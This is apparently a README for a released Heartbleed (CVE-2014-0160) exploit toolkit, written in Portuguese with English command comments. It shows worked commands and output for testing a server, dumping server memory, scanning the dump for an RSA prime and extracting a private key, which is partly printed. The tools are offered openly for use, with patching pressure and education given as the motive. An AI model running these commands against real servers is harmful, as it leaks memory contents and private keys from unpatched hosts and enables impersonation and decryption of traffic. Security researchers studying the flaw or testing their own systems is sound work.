
Scanner de vulnerabilidades, minerador de dados e ferramentas de restauração de chaves RSA do Heartbleed do OpenSSL (CVE-2014-0160).
Autor: Einar Otto Stangvik / @einaros / https://hacking.ventures
Como o gato já saiu do saco há muito tempo, e outros começaram a publicar suas ferramentas, também estou publicando as minhas. Espero que isso aumente a pressão sobre aqueles que ainda não corrigiram ou atualizaram seus servidores. Outros podem achar as ferramentas de valor educacional.
Ao contrário de muitos outros PoCs de Heartbleed, esta ferramenta fornecerá a maioria dos ciphers possíveis no pacote ClientHello inicial. Qualquer cipher que o servidor escolher será usado para todos os pacotes ClientHello subsequentes em uma sessão de dump. Isso deve garantir a detecção adequada de vulnerabilidades, bem como diminuir a sobrecarga depois que um cipher for encontrado.
Use essas ferramentas como quiser, mas faça um favor a todos nós: resolva problemas em vez de criá-los.
Inspirado nos trabalhos e publicações de:
Aqui vemos a recuperação de um dos primos RSA do desafio CloudFlare 34 vezes em um minuto. Isso equivale a obter a chave privada completa 34 vezes em um minuto.

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
O autor não pode e não reivindicará qualquer direito sobre qualquer parte deste pacote. Ele é baseado em ideias abertas, e permanecerá aberto, por tudo o que lhe diz respeito.